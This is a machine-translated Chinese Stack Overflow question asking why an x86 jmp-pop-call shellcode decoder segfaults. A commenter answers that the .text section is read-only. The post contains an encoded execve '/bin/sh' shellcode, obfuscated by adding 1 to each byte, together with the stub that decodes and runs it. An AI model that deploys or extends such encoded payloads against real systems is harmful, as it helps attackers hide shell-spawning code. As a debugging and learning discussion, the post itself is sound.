這是我無法弄清楚錯誤的代碼的一部分。我使用jmp-pop-call技術,我得到的是「Segmentation Fault」。試圖使用GDB,但事情非常模糊。每個字節由1蟒蛇編碼,我要的是與下面的代碼部分解碼:使用jmp-pop-call技術的彙編解碼器
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi
xor eax, eax
mov edx, 23
decode:
mov bl, byte[esi+eax]
dec byte[esi+eax]
cont:
cmp eax,edx
jz short encodedShellcode
inc eax
jmp short decode
call_shellcode:
call decoder
encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81,
「.text」部分默認爲只讀。請參閱[這個答案](http://stackoverflow.com/questions/13777445/execve-shellcode-writing-segmentation-fault/13777931)的解決方法。 – Jester 2014-12-18 23:20:09